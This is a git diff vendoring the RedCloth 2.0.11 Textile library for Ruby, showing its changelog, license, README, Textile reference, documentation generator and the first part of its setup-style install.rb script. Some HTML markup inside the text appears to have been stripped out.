    +    - Commented out encode_entities and fix_entities, they do nothing now.  Thanks, Denis.
    +    - Scaled back QTAGS a back to avoid mixing up hyphens and dels.  Thanks, Denis.
    +    - Work on the references to ensure they are generating at least XHTML 1.0 Transitional.
    +
    +- version: 2.0.10
    +  date: 2004-05-26
    +  changes:
    +    - Table and list problems.  Rewrote the 
     handling code.. again.
    +
    +- version: 2.0.9
    +  date: 2004-05-26
    +  changes:
    +    - Improved RDoc.  Ri documentation is auto-installed now!
    +    - Links were consuming closing HTML tags.  (See latest test in tests/links.yml.)
    +    - Further speed patch from Denis.  Good good.
    +    - Patch by F. Ros to fix 
     tags with class settings.
    +
    +- version: 2.0.8
    +  date: 2004-05-22
    +  changes:
    +    - First scan of the glyphs() method only scans for pre|notextile|code, the
    +      deeper passes scan for all HTML.  Now inlines work around HTML tags!
    +      (What a pain!)
    +    - Moved tables and blocks into glyphs to keep them shielded from the parser
    +      if they are in 
     tags.
    +    - Patch by Denis Mertz to speed up RedCloth by compiling the various RegExps
    +      only once.  Thanks, David!
    +
    +- version: 2.0.7
    +  date: 2004-04-21
    +  changes:
    +    - New REFERENCE and QUICK-REFERENCE.  See http://hobix.com/textile/.
    +    - Lists rewritten to accomplish better line folding.
    +    - Better, greedier links.
    +    - Additional link and list tests.
    +
    +- version: 2.0.6
    +  date: 2004-04-16
    +  changes:
    +    - Bold and strong tags were mixed up.  '*' is now strong.  '**' is bold.
    +      They were swapped until now.
    +    - Horizontal alignments were pretty buggy.  Combining alignments with
    +      indents was totally broken.
    +    - Fixed table problem.  Now glyphs are handled between tables and blocks.
    +    - Nested 
     and  tags are now escaped.  Much better handling of
    +      HTML inside 
     tags.  Really: quite nice.
    +    - Patch from Florian Gross to fix an html filtration inconsistency.
    +
    +- version: 2.0.5
    +  date: 2004-04-14
    +  changes: 
    +    - Added safe mode (patch courtesy of Florian Gross).
    +    - Added line folding (suggested by Jim Menard).
    +    - Fixing notextile tags to work multi-line.
    +    - Ambiguity with em-dash and block opener.
    +    - Footnote bug. (Thanks, Jim Menard!)
    +
    +- version: 2.0.4
    +  date: 2004-04-08
    +  changes:
    +    - Scaled back aggresiveness of the inline matching to aid the em-dash.
    +    - Scaled back footnotes to stay out of array indices.
    +
    +- version: 2.0.3
    +  date: 2004-04-02
    +  changes:
    +    - Handling of pre, code, notextile was all wrong.  Also, got rid of the goofed up
    +      split then collect.  Now using gsub! and recursion to handle inlines and glyphs.
    +    - Better acronym support.
    +    - Suppression of Regexp warnings.
    +    - Single- and double-quoted string wierdness.  Thanks, Bret Pettichord.
    +
    +- version: 2.0.2
    +  date: 2004-03-08
    +  changes:
    +    - Fixed broken lists, broken tables.
    +    - code/pre tags now escape properly, glyphs are working, spans are working when surrounded by html tags.
    +    - Fixed classes and ids. 
    +    - Restricted notextile tags to a single line.
    +
    +- version: 2.0.1
    +  date: 2004-02-10
    +  changes:
    +    - Unmatched closing slash on regexps in ruby 1.6.8.
    +    - Fixes to bulleted lists.
    +
    +- version: 2.0
    +  date: 2004-02-06
    +  changes:
    +    - Complete rewrite of RedCloth, against beta2 from textism.com.
    +
    +- version: 0.41
    +  date: 2003-06-20
    +  changes:
    +    - Newlines were outputing as escaped.
    +
    +- version: 0.4
    +  date: 2003-06-20
    +  changes:
    +    - Initial public release.
    +    - Integration of YAML-based PyTextile tests.
    diff --git a/vendor/redcloth-2.0.11/doc/COPYING b/vendor/redcloth-2.0.11/doc/COPYING
    new file mode 100755
    index 00000000..044109ae
    --- /dev/null
    +++ b/vendor/redcloth-2.0.11/doc/COPYING
    @@ -0,0 +1,25 @@
    +Redistribution and use in source and binary forms, with or without 
    +modification, are permitted provided that the following conditions are met:
    +
    +* Redistributions of source code must retain the above copyright notice, 
    +  this list of conditions and the following disclaimer.
    +
    +* Redistributions in binary form must reproduce the above copyright notice,
    +  this list of conditions and the following disclaimer in the documentation
    +  and/or other materials provided with the distribution.
    +
    +* Neither the name Textile nor the names of its contributors may be used to
    +  endorse or promote products derived from this software without specific
    +  prior written permission.
    +
    +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
    +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
    +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
    +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
    +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
    +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 
    +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 
    +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 
    +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 
    +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
    +POSSIBILITY OF SUCH DAMAGE.
    diff --git a/vendor/redcloth-2.0.11/doc/README b/vendor/redcloth-2.0.11/doc/README
    new file mode 100755
    index 00000000..7a5cb1f6
    --- /dev/null
    +++ b/vendor/redcloth-2.0.11/doc/README
    @@ -0,0 +1,106 @@
    +p=. !redcloth-title.png!
    +
    +
    +
    +RedCloth is a module for using Textile in Ruby.  Textile is a text format.  A very simple text format.  Another stab at making readable text that can be converted to HTML.
    +
    +h2. What is Textile?
    +
    +Textile is a simple markup language.
    +
    +table{width:400px}.
    +|_. textile|_. to|_. html|
    +| ==_a phrase_== |->|_a phrase_|
    +| ==*a phrase*== |->|*a phrase*|
    +| ==_*a phrase*_== |->|_*a phrase*_|
    +| =="Google":http://google.com== |->|"Google":http://google.com|
    +
    +No need to use verbose HTML to build your docs, your blogs, your pages.  Textile gives you readable text while you're writing and beautiful text for your readers.  And if you need to break out into HTML, Textile will allow you to do so.
    +
    +Textile also handles some subtleties of formatting which will enhance your document's readability:
    +
    +* Single- and double-quotes around words or phrases are converted to curly quotations, much easier on
    +  the eye.  "Observe!"
    +
    +* Double hyphens are replaced with an em-dash.  Observe -- very nice!
    +
    +* Single hyphens are replaced with en-dashes. Observe - so cute!
    +
    +* Triplets of periods become an ellipsis.  Observe...
    +
    +* The letter 'x' becomes a dimension sign when used alone.  Observe: 2 x 2.
    +
    +* Conversion of ==(TM)== to (TM), ==(R)== to (R), ==(C)== to (C).
    +
    +For more on Textile's language, hop over to "A Textile Reference":http://hobix.com/textile/.
    +
    +h2. Using RedCloth
    +
    +The RedCloth class is an extension of Ruby's String class. Use it like you would a String:
    +
    +
    +  >> r = RedCloth.new "*strong text* and _emphasized text_"
    +  => "*strong text* and _emphasized text_"
    +  >> r.gsub!( 'text', 'words' )
    +  => "*strong words* and _emphasized words_"
    +
    + +To generate HTML from your RedCloth object, use the @RedCloth#to_html@ method: + +
    +  >> r.to_html
    +  => "

    strong words and emphasized words

    " +
    + + +h2. Installing RedCloth + +To install RedCloth via RubyGems: + +
    +  gem -Ri RedCloth
    +
    + +Or "download RedCloth":http://rubyforge.org/frs/download.php/670/redcloth-2.0.10.tar.gz and simply run the install.rb like so: + +
    +  ruby install.rb config
    +  ruby install.rb setup
    +  sudo ruby install.rb install
    +
    + + +h2. Acknowledgements + +Textile is (c) 2003 Dean Allen. All rights reserved. You can read more "here":http://www.textism.com/tools/textile/. + +RedCloth is also based on PyTextile, which is: Copyright (c) 2003, "Mark Pilgrim":http://diveintomark.org/. All rights reserved. You can read more about PyTextile "here":http://dealmeida.net/projects/textile. + diff --git a/vendor/redcloth-2.0.11/doc/REFERENCE b/vendor/redcloth-2.0.11/doc/REFERENCE new file mode 100755 index 00000000..a3e5bec0 --- /dev/null +++ b/vendor/redcloth-2.0.11/doc/REFERENCE @@ -0,0 +1,216 @@ +--- +- A Textile Reference: + - Textile is a simple text markup. Simple symbols mark words' emphasis. Blocks of text + can be easily tagged as headers, quotes, or lists. A Textile document can then be + converted to HTML(Hypertext Markup Language) for viewing on the web. + - You can try Textile out on the "Textile home page":http://www.textism.com/tools/textile/. + Textile is also available as "RedCloth":http://whytheluckystiff.net/ruby/redcloth/ for + Ruby or "PyTextile":http://dealmeida.net/projects/textile for Python. + - Also refer to the "*Quick Reference*":javascript:quickRedReference(); for this guide. + - h4. Reading the Examples + - In each section below, examples are provided to clearly illustrate. In each example, + the Textile example is followed by the raw HTML it is translated into, followed by how + the HTML appears in the browser. + - + - Textile example + - Converted to HTML + - Browser-view +- Writing in Textile: + - Textile looks for paragraphs in your text. Paragraphs are separated by one blank line. + Every paragraph is translated as an HTML paragraph. + - !!example "A single paragraph.\n\nFollowed by another." + - h4. Using HTML in Textile + - You can certainly use HTML tags inside your Textile documents. HTML will only be escaped + if it's found in a @pre@ or @code@ block. + - !!example "I am very serious.\n\n
    \n  I am very serious.\n
    " + - h4. Line Breaks + - Line breaks are converted to HTML breaks. + - !!example "I spoke.\nAnd none replied." + - Line breaks can be disabled in RedCloth by turning on @fold_lines@. + - h4. Entities + - Single- and double-quotes around words or phrases are converted to curly quotations, much easier on the eye. + - !!example '"Observe!"' + - Double hyphens are replaced with an em-dash. + - !!example Observe -- very nice! + - Single hyphens are replaced with en-dashes. + - !!example Observe - tiny and brief. + - Triplets of periods become an ellipsis. + - !!example Observe... + - The letter 'x' becomes a dimension sign when used alone. + - !!example 'Observe: 2 x 2.' + - Conversion of trademark and copyright symbols. + - !!example 'one(TM), two(R), three(C).' +- Quick Block Modifiers: + - Blocks of text default to being treated as paragraphs. But modifers can be affixed + to the beginning of a block to change its treatment. + - h4. Headers + - To make an entire paragraph into a Header, place "hn." at + its beginning, where _n_ is a number from 1-6. + - !!example h1. Header 1 + - !!example h2. Header 2 + - !!example h3. Header 3 + - h4. Block Quotes + - To make an entire paragraph into a block quotation, place + "bq." before it. + - !!example "An old text\n\nbq. A block quotation.\n\nAny old text" + - h4. Footnotes + - Numeric references within text to footnotes appear between square brackets. + - !!example This is covered elsewhere[1]. + - To create the footnote that corresponds to its reference within the text, begin a new paragraph with fn and the + footnote's number, followed by a dot and a space. + - !!example fn1. Down here, in fact. +- Quick Phrase Modifiers: + - h4. Structural Emphasis + - Emphasis to text is added by surrounding a phrase with underscores. In HTML, this often + appears as italics. + - !!example I _believe_ every word. + - Strength can be give to text by surrounding with asterisks. In HTML, this strength appears + as bold. + - !!example And then? She *fell*! + - Both italics and bold can be forced by doubling the underscores or asterisks. + - !!example "I __know__.\nI **really** __know__." + - Use double question marks to indicate _citation_. The title of a book, for instance. + - !!example "??Cat's Cradle?? by Vonnegut" + - Code phrases can be surrounded by at-symbols. + - !!example "Convert with @r.to_html@" + - To indicate a passage which has been deleted, surround the passage with hypens. + - !!example "I'm -sure- not sure." + - Pluses around a passage indicate its insertion. + - !!example "You are a +pleasant+ child." + - To superscript a phrase, surround with carets. + - !!example "a ^2^ + b ^2^ = c ^2^" + - To subscript, surround with tildes. + - !!example "log ~2~ x" + - h4. HTML-Specific + - Lastly, if you find yourself needing to customize the style of a passage, use percent symbols + to translate the passage as an HTML span. + - !!example I'm %unaware% of most soft drinks. + - This way, you can apply style settings, as described in the next section to arbitrary phrases. + - !!example "I'm %{color:red}unaware%\nof most soft drinks." +- Attributes: + - Tailoring Textile to suit your needs is quite easy. Attributes allow you to provide CSS(Cascading + Style Sheets) information about any phrase. + - h4. Block Attributes + - A block can be tagged with a CSS class by circling the class in parentheses and + placing it just before the period which marks the block. + - !!example p(example1). An example + - An element ID can be given by prefixing the ID with a pound symbol and using it in place of + the class. + - !!example p(#big-red). Red here + - Class and ID can be combined by placing the class first. + - !!example p(example1#big-red2). Red here + - Style settings can be provided directly by surrounding them in curly braces. + - !!example p{color:blue;margin:30px}. Spacey blue + - Language designations can be given between angel brackets. + - !!example p[fr]. rouge + - h4. Phrase Attributes + - All block attributes can be applied to phrases as well by placing them just inside the + opening modifier. + - !!example "I seriously *{color:red}blushed*\nwhen I _(big)sprouted_ that\ncorn stalk from my\n%[es]cabeza%." + - h4. Block Alignments + - Text inside blocks can be aligned in four basic ways. + - !!example p<. align left + - !!example p>. align right + - !!example p=. centered + - !!example p<>. justified + - Indentation can also be specified by provide a single left paren for every 1em to the left. A single right + paren for every 1em to the right. + - !!example p(. left ident 1em + - !!example p((. left ident 2em + - !!example p))). right ident 3em + - h4. Combining Alignments + - Identation may be coupled with alignment. + - !!example "h2()>. Bingo." + - And, furthermore, coupled with language settings and CSS styles. + - !!example "h3()>[no]{color:red}. Bingo" + - h4. HTML in Textile + - Textile is designed for quickening the simple markups. For more complex formatting, you are encouraged + to break out into HTML. + - For example, long code blocks belong between @pre@ and @code@ tags. Please also indent your code inside + the tags to be sure that all Textile processors out there will ignore the contents. + - !!example | +
    +      
    +        a.gsub!( /
    +      
    + - You may also choose to surround sections with @div@ tags to separate your document into sections. + "Instiki":http://www.instiki.org/ uses this technique to float a sidebar to the right. + - !!example | +
    + + h3. Sidebar + + "Hobix":http://hobix.com/ + "Ruby":http://ruby-lang.org/ + +
    + + The main text of the + page goes here and will + stay to the left of the + sidebar. + +- Lists: + - h4. Numeric Lists + - To make a numbered list, place each item in its own paragraph, preceded by "#". + - !!example "# A first item\n# A second item\n# A third" + - These lists may be nested by increasing the number of pound symbols preceding child entries. + - !!example "# Fuel could be:\n## Coal\n## Gasoline\n## Electricity\n# Humans need only:\n## Water\n## Protein" + - h4. Bulleted Lists + - Bulleted lists use an asterisk in place of the pound. + - !!example "* A first item\n* A second item\n* A third" + - These lists may be nested in like manner. + - !!example "* Fuel could be:\n** Coal\n** Gasoline\n** Electricity\n* Humans need only:\n** Water\n** Protein" +- External References: + - h4. Hypertext Links + - Basic links are comprised of a phrase which is linked to a URL(Universal Resource Locator). Place the + descriptive phrase in quotation marks. Follow it immediately by a colon and the URL. + - !!example I searched "Google":http://google.com. + - Notice, the link won't include any trailing punctuation. + - h4. Link Aliases + - If you are using the same link several times in your document, or you'd just like to be a tad more + organized, you can use a link alias. Place the URL anywhere in your document, beginning with its + alias in square brackets. Then, use the alias in place of the URL, using the link format above. + - !!example | + I am crazy about "Hobix":hobix + and "it's":hobix "all":hobix I ever + "link to":hobix! + + [hobix]http://hobix.com + - h4. Embedded Images + - You can embed an image in your Textile document by surrounding its URL with exclamation marks. + - !!example "!http://hobix.com/sample.jpg!" + - URLs may be relative. + - A title for the image can also be provided in parens, just before the closing exclamation. + - !!example "!openwindow1.gif(Bunny.)!" + - The title also acts as *alt* text should the image not be found. + - Links can be attached to images with a colon. + - !!example "!openwindow1.gif!:http://hobix.com/" + - h4. Image Alignments + - Alignments can be applied as well to images. + - !!example "!>obake.gif!\n\nAnd others sat all round the small\nmachine and paid it to sing to them." + - h4. Acronyms + - Definitions for acronyms can be provided by following an acronym with its definition in parens. + - !!example We use CSS(Cascading Style Sheets). +- Tables: + - Simple tables can be built by separating fields with pipe characters + - !!example "| name | age | sex |\n| joan | 24 | f |\n| archie | 29 | m |\n| bella | 45 | f |" + - Specify header cells by marking them with an underscore and period. + - !!example "|_. name |_. age |_. sex |\n| joan | 24 | f |\n| archie | 29 | m |\n| bella | 45 | f |" + - h4. Cell Attributes + - The period used above marks the end of a cell's attributes. Other attributes can be applied as well. + - !!example "|_. attribute list |\n|<. align left |\n|>. align right|\n|=. center |\n|<>. justify |\n|^. valign top |\n|~. bottom |" + - You can also specify colspans with a backslash, followed by the cell width. + - !!example "|\\2. spans two cols |\n| col 1 | col 2 |" + - Rowspan is specified by a forward slash, followed by the row height. + - !!example "|/3. spans 3 rows | a |\n| b |\n| c |" + - All block attributes can be applied to table cells as well. + - !!example "|{background:#ddd}. Grey cell|" + - h4. Table and Row Attributes + - Table-wide attributes can be applied before the first row of the table. On its own line, followed by + a period. + - !!example "table{border:1px solid black}.\n|This|is|a|row|\n|This|is|a|row|" + - Attributes can be applied to a single row by supplying the attribute before the row starts, using a + @table@ modifier and following it by a period. + - !!example "|This|is|a|row|\n{background:#ddd}. |This|is|grey|row|" diff --git a/vendor/redcloth-2.0.11/doc/make.rb b/vendor/redcloth-2.0.11/doc/make.rb new file mode 100755 index 00000000..746436ba --- /dev/null +++ b/vendor/redcloth-2.0.11/doc/make.rb @@ -0,0 +1,345 @@ +require 'yaml' +require 'redcloth' + +def a_name( phrase ) + phrase.downcase. + gsub( /\W+/, '-' ) +end + +file_name = ARGV.shift +case file_name +when 'README' + puts <<-HTML + + + + + RedCloth [Textile Humane Web Text for Ruby] + + + + HTML + puts RedCloth.new( File.open( file_name ).read ).to_html + puts "" + puts "" +when 'QUICK-REFERENCE' + YAML::add_private_type( "example" ) do |type, val| + esc = val.dup + esc.htmlesc!( :NoQuotes ) + [ :example, esc.gsub( /\n/, '
    ' ), + RedCloth.new( val ).to_html ] + end + + content = YAML::load( File.open( 'REFERENCE' ) ) + + sections = content.collect { |c| c.keys.first } + sections.shift + + puts <<-HTML + + + + + Textile Quick Reference + + + + + + + HTML + + ct = 0 + content.each do |section| + section.each do |header, parags| + puts "" if ct.nonzero? + parags.each do |p| + if p.is_a?( Array ) and p[0] == :example + puts "" + + "" + end + end + end + ct += 1 + end + puts "

    Textile Quick Reference

    Sections: #{ sections.collect { |s| "#{ s.gsub( /\s/, ' ' ) }" }.join( ' | ' ) }
    #{ header }
    #{ p[1] }
    #{ p[2] }
    " + puts "" + puts "" + +when 'REFERENCE' + YAML::add_private_type( "example" ) do |type, val| + esc = val.dup + esc.htmlesc!( :NoQuotes ) + [ esc.gsub( /\n/, '
    ' ), + RedCloth.new( val ).to_html. + gsub( /;(\w)/, '; \1' ). + htmlesc!( :NoQuotes ). + gsub( /\n/, '
    ' ), + RedCloth.new( val ).to_html ] + end + + content = YAML::load( File.open( file_name ) ) + + sections = content.collect { |c| c.keys.first } + sections.shift + + puts <<-HTML + + + + + Textile Reference + + + + + + HTML + + ct = 0 + content.each do |section| + section.each do |header, parags| + if ct.zero? + puts "" + puts "" + else + puts "" + end + parags.each do |p| + if p.is_a? Array + puts "" + + "" + + "" + else + puts "" + end + end + unless ct.zero? + puts "" + end + end + ct += 1 + end + puts "

    #{ header }

    Sections: #{ sections.collect { |s| "#{ s.gsub( /\s/, ' ' ) }" }.join( ' | ' ) }
    #{ ct }.
    #{ header }
    #{ p[0] }

    #{ p[1] }

    #{ p[2] }
    " + puts RedCloth.new( p ).to_html + puts "
    " + puts "" + puts "" +end diff --git a/vendor/redcloth-2.0.11/install.rb b/vendor/redcloth-2.0.11/install.rb new file mode 100755 index 00000000..2313f9e9 --- /dev/null +++ b/vendor/redcloth-2.0.11/install.rb @@ -0,0 +1,1032 @@ +#!/usr/local/bin/ruby +# +# This file is automatically generated. DO NOT MODIFY! +# +# install.rb +# +# Copyright (c) 2000-2002 Minero Aoki +# +# This program is free software. +# You can distribute/modify this program under the terms of +# the GNU Lesser General Public License version 2. +# + +### begin compat.rb + +unless Enumerable.instance_methods.include? 'inject' then +module Enumerable + def inject( result ) + each do |i| + result = yield(result, i) + end + result + end +end +end + +def File.read_all( fname ) + File.open(fname, 'rb') {|f| return f.read } +end + +def File.write( fname, str ) + File.open(fname, 'wb') {|f| f.write str } +end + +### end compat.rb +### begin config.rb + +if i = ARGV.index(/\A--rbconfig=/) then + file = $' + ARGV.delete_at(i) + require file +else + require 'rbconfig' +end + + +class ConfigTable + + c = ::Config::CONFIG + + rubypath = c['bindir'] + '/' + c['ruby_install_name'] + + major = c['MAJOR'].to_i + minor = c['MINOR'].to_i + teeny = c['TEENY'].to_i + version = "#{major}.#{minor}" + + # ruby ver. >= 1.4.4? + newpath_p = ((major >= 2) or + ((major == 1) and + ((minor >= 5) or + ((minor == 4) and (teeny >= 4))))) + + re = Regexp.new('\A' + Regexp.quote(c['prefix'])) + subprefix = lambda {|path| + re === path and path.sub(re, '$prefix') + } + + if c['rubylibdir'] then + # 1.6.3 < V + stdruby = subprefix.call(c['rubylibdir']) + siteruby = subprefix.call(c['sitedir']) + versite = subprefix.call(c['sitelibdir']) + sodir = subprefix.call(c['sitearchdir']) + elsif newpath_p then + # 1.4.4 <= V <= 1.6.3 + stdruby = "$prefix/lib/ruby/#{version}" + siteruby = subprefix.call(c['sitedir']) + versite = siteruby + '/' + version + sodir = "$site-ruby/#{c['arch']}" + else + # V < 1.4.4 + stdruby = "$prefix/lib/ruby/#{version}" + siteruby = "$prefix/lib/ruby/#{version}/site_ruby" + versite = siteruby + sodir = "$site-ruby/#{c['arch']}" + end + + DESCRIPTER = [ + [ 'prefix', [ c['prefix'], + 'path', + 'path prefix of target environment' ] ], + [ 'std-ruby', [ stdruby, + 'path', + 'the directory for standard ruby libraries' ] ], + [ 'site-ruby-common', [ siteruby, + 'path', + 'the directory for version-independent non-standard ruby libraries' ] ], + [ 'site-ruby', [ versite, + 'path', + 'the directory for non-standard ruby libraries' ] ], + [ 'bin-dir', [ '$prefix/bin', + 'path', + 'the directory for commands' ] ], + [ 'rb-dir', [ '$site-ruby', + 'path', + 'the directory for ruby scripts' ] ], + [ 'so-dir', [ sodir, + 'path', + 'the directory for ruby extentions' ] ], + [ 'data-dir', [ '$prefix/share', + 'path', + 'the directory for shared data' ] ], + [ 'ruby-path', [ rubypath, + 'path', + 'path to set to #! line' ] ], + [ 'ruby-prog', [ rubypath, + 'name', + 'the ruby program using for installation' ] ], + [ 'make-prog', [ 'make', + 'name', + 'the make program to compile ruby extentions' ] ], + [ 'without-ext', [ 'no', + 'yes/no', + 'does not compile/install ruby extentions' ] ] + ] + + SAVE_FILE = 'config.save' + + def ConfigTable.each_name( &block ) + keys().each( &block ) + end + + def ConfigTable.keys + DESCRIPTER.collect {|k,*dummy| k } + end + + def ConfigTable.each_definition( &block ) + DESCRIPTER.each( &block ) + end + + def ConfigTable.get_entry( name ) + name, ent = DESCRIPTER.assoc(name) + ent + end + + def ConfigTable.get_entry!( name ) + get_entry(name) or raise ArgumentError, "no such config: #{name}" + end + + def ConfigTable.add_entry( name, vals ) + ConfigTable::DESCRIPTER.push [name,vals] + end + + def ConfigTable.remove_entry( name ) + get_entry name or raise ArgumentError, "no such config: #{name}" + DESCRIPTER.delete_if {|n,arr| n == name } + end + + def ConfigTable.config_key?( name ) + get_entry(name) ? true : false + end + + def ConfigTable.bool_config?( name ) + ent = get_entry(name) or return false + ent[1] == 'yes/no' + end + + def ConfigTable.value_config?( name ) + ent = get_entry(name) or return false + ent[1] != 'yes/no' + end + + def ConfigTable.path_config?( name ) + ent = get_entry(name) or return false + ent[1] == 'path' + end + + + class << self + + alias newobj new + + def new + c = newobj() + c.__send__ :init + c + end + + def load + c = newobj() + File.file? SAVE_FILE or + raise InstallError, "#{File.basename $0} config first" + File.foreach( SAVE_FILE ) do |line| + k, v = line.split( '=', 2 ) + c.instance_eval { + @table[k] = v.strip + } + end + c + end + + end + + def initialize + @table = {} + end + + def init + DESCRIPTER.each do |k, (default, vname, desc, default2)| + @table[k] = default + end + end + private :init + + def save + File.open( SAVE_FILE, 'w' ) {|f| + @table.each do |k, v| + f.printf "%s=%s\n", k, v if v + end + } + end + + def []=( k, v ) + ConfigTable.config_key? k or raise InstallError, "unknown config option #{k}" + if ConfigTable.path_config? k then + @table[k] = (v[0,1] != '$') ? File.expand_path(v) : v + else + @table[k] = v + end + end + + def []( key ) + @table[key] or return nil + @table[key].gsub( %r<\$([^/]+)> ) { self[$1] } + end + + def set_raw( key, val ) + @table[key] = val + end + + def get_raw( key ) + @table[key] + end + +end + + +class MetaConfigEnvironment + + def self.eval_file( file ) + return unless File.file? file + new.instance_eval File.read_all(file), file, 1 + end + + private + + def config_names + ConfigTable.keys + end + + def config?( name ) + ConfigTable.config_key? name + end + + def bool_config?( name ) + ConfigTable.bool_config? name + end + + def value_config?( name ) + ConfigTable.value_config? name + end + + def path_config?( name ) + ConfigTable.path_config? name + end + + def add_config( name, argname, default, desc ) + ConfigTable.add_entry name,[default,argname,desc] + end + + def add_path_config( name, default, desc ) + add_config name, 'path', default, desc + end + + def add_bool_config( name, default, desc ) + add_config name, 'yes/no', default ? 'yes' : 'no', desc + end + + def set_config_default( name, default ) + if bool_config? name then + ConfigTable.get_entry!(name)[0] = default ? 'yes' : 'no' + else + ConfigTable.get_entry!(name)[0] = default + end + end + + def remove_config( name ) + ent = ConfigTable.get_entry(name) + ConfigTable.remove_entry name + ent + end + +end + +### end config.rb +### begin fileop.rb + +module FileOperations + + def mkdir_p( dname, prefix = nil ) + dname = prefix + dname if prefix + $stderr.puts "mkdir -p #{dname}" if verbose? + return if no_harm? + + # does not check '/'... it's too abnormal case + dirs = dname.split(%r_(?=/)_) + if /\A[a-z]:\z/i === dirs[0] then + disk = dirs.shift + dirs[0] = disk + dirs[0] + end + dirs.each_index do |idx| + path = dirs[0..idx].join('') + Dir.mkdir path unless dir? path + end + end + + def rm_f( fname ) + $stderr.puts "rm -f #{fname}" if verbose? + return if no_harm? + + if File.exist? fname or File.symlink? fname then + File.chmod 0777, fname + File.unlink fname + end + end + + def rm_rf( dn ) + $stderr.puts "rm -rf #{dn}" if verbose? + return if no_harm? + + Dir.chdir dn + Dir.foreach('.') do |fn| + next if fn == '.' + next if fn == '..' + if dir? fn then + verbose_off { + rm_rf fn + } + else + verbose_off { + rm_f fn + } + end + end + Dir.chdir '..' + Dir.rmdir dn + end + + def mv( src, dest ) + rm_f dest + begin + File.link src, dest + rescue + File.write dest, File.read_all(src) + File.chmod File.stat(src).mode, dest + end + rm_f src + end + + def install( from, dest, mode, prefix = nil ) + $stderr.puts "install #{from} #{dest}" if verbose? + return if no_harm? + + realdest = prefix + dest if prefix + if dir? realdest then + realdest += '/' + File.basename(from) + end + str = File.read_all(from) + if diff? str, realdest then + verbose_off { + rm_f realdest if File.exist? realdest + } + File.write realdest, str + File.chmod mode, realdest + + File.open( objdir + '/InstalledFiles', 'a' ) {|f| f.puts realdest } + end + end + + def diff?( orig, targ ) + return true unless File.exist? targ + orig != File.read_all(targ) + end + + def command( str ) + $stderr.puts str if verbose? + system str or raise RuntimeError, "'system #{str}' failed" + end + + def ruby( str ) + command config('ruby-prog') + ' ' + str + end + + def dir?( dname ) + # for corrupted windows stat() + File.directory?( (dname[-1,1] == '/') ? dname : dname + '/' ) + end + + def all_files( dname ) + Dir.open( dname ) {|d| + return d.find_all {|n| File.file? "#{dname}/#{n}" } + } + end + + def all_dirs( dname ) + Dir.open( dname ) {|d| + return d.find_all {|n| dir? "#{dname}/#{n}" } - %w(. ..) + } + end + +end + +### end fileop.rb +### begin base.rb + +class InstallError < StandardError; end + + +class Installer + + Version = '3.1.2' + Copyright = 'Copyright (c) 2000-2002 Minero Aoki' + + + @toplevel = nil + + def self.declear_toplevel_installer( inst ) + @toplevel and + raise ArgumentError, 'more than one toplevel installer decleared' + @toplevel = inst + end + + def self.toplevel_installer + @toplevel + end + + + FILETYPES = %w( bin lib ext data ) + + include FileOperations + + def initialize( config, opt, srcroot, objroot ) + @config = config + @options = opt + @srcdir = File.expand_path(srcroot) + @objdir = File.expand_path(objroot) + @currdir = '.' + end + + def inspect + "#<#{type} #{__id__}>" + end + + # + # configs/options + # + + def get_config( key ) + @config[key] + end + + alias config get_config + + def set_config( key, val ) + @config[key] = val + end + + def no_harm? + @options['no-harm'] + end + + def verbose? + @options['verbose'] + end + + def verbose_off + save, @options['verbose'] = @options['verbose'], false + yield + @options['verbose'] = save + end + + # + # srcdir/objdir + # + + attr_reader :srcdir + alias srcdir_root srcdir + alias package_root srcdir + + def curr_srcdir + "#{@srcdir}/#{@currdir}" + end + + attr_reader :objdir + alias objdir_root objdir + + def curr_objdir + "#{@objdir}/#{@currdir}" + end + + def srcfile( path ) + curr_srcdir + '/' + path + end + + def srcexist?( path ) + File.exist? srcfile(path) + end + + def srcdirectory?( path ) + dir? srcfile(path) + end + + def srcfile?( path ) + File.file? srcfile(path) + end + + def srcentries( path = '.' ) + Dir.open( curr_srcdir + '/' + path ) {|d| + return d.to_a - %w(. ..) - hookfilenames + } + end + + def srcfiles( path = '.' ) + srcentries(path).find_all {|fname| + File.file? File.join(curr_srcdir, path, fname) + } + end + + def srcdirectories( path = '.' ) + srcentries(path).find_all {|fname| + dir? File.join(curr_srcdir, path, fname) + } + end + + def dive_into( rel ) + return unless dir? "#{@srcdir}/#{rel}" + + dir = File.basename(rel) + Dir.mkdir dir unless dir? dir + save = Dir.pwd + Dir.chdir dir + $stderr.puts '---> ' + rel if verbose? + @currdir = rel + yield + Dir.chdir save + $stderr.puts '<--- ' + rel if verbose? + @currdir = File.dirname(rel) + end + + # + # config + # + + def exec_config + exec_task_traverse 'config' + end + + def config_dir_bin( rel ) + end + + def config_dir_lib( rel ) + end + + def config_dir_ext( rel ) + extconf if extdir? curr_srcdir + end + + def extconf + opt = @options['config-opt'].join(' ') + command "#{config('ruby-prog')} #{curr_srcdir}/extconf.rb #{opt}" + end + + def config_dir_data( rel ) + end + + # + # setup + # + + def exec_setup + exec_task_traverse 'setup' + end + + def setup_dir_bin( relpath ) + all_files( curr_srcdir ).each do |fname| + add_rubypath "#{curr_srcdir}/#{fname}" + end + end + + SHEBANG_RE = /\A\#!\s*\S*ruby\S*/ + + def add_rubypath( path ) + $stderr.puts %Q if verbose? + return if no_harm? + + tmpfile = File.basename(path) + '.tmp' + begin + File.open( path ) {|r| + File.open( tmpfile, 'w' ) {|w| + first = r.gets + return unless SHEBANG_RE === first # reject '/usr/bin/env ruby' + + w.print first.sub( SHEBANG_RE, '#!' + config('ruby-path') ) + w.write r.read + } } + mv tmpfile, File.basename(path) + ensure + rm_f tmpfile if File.exist? tmpfile + end + end + + def setup_dir_lib( relpath ) + end + + def setup_dir_ext( relpath ) + if 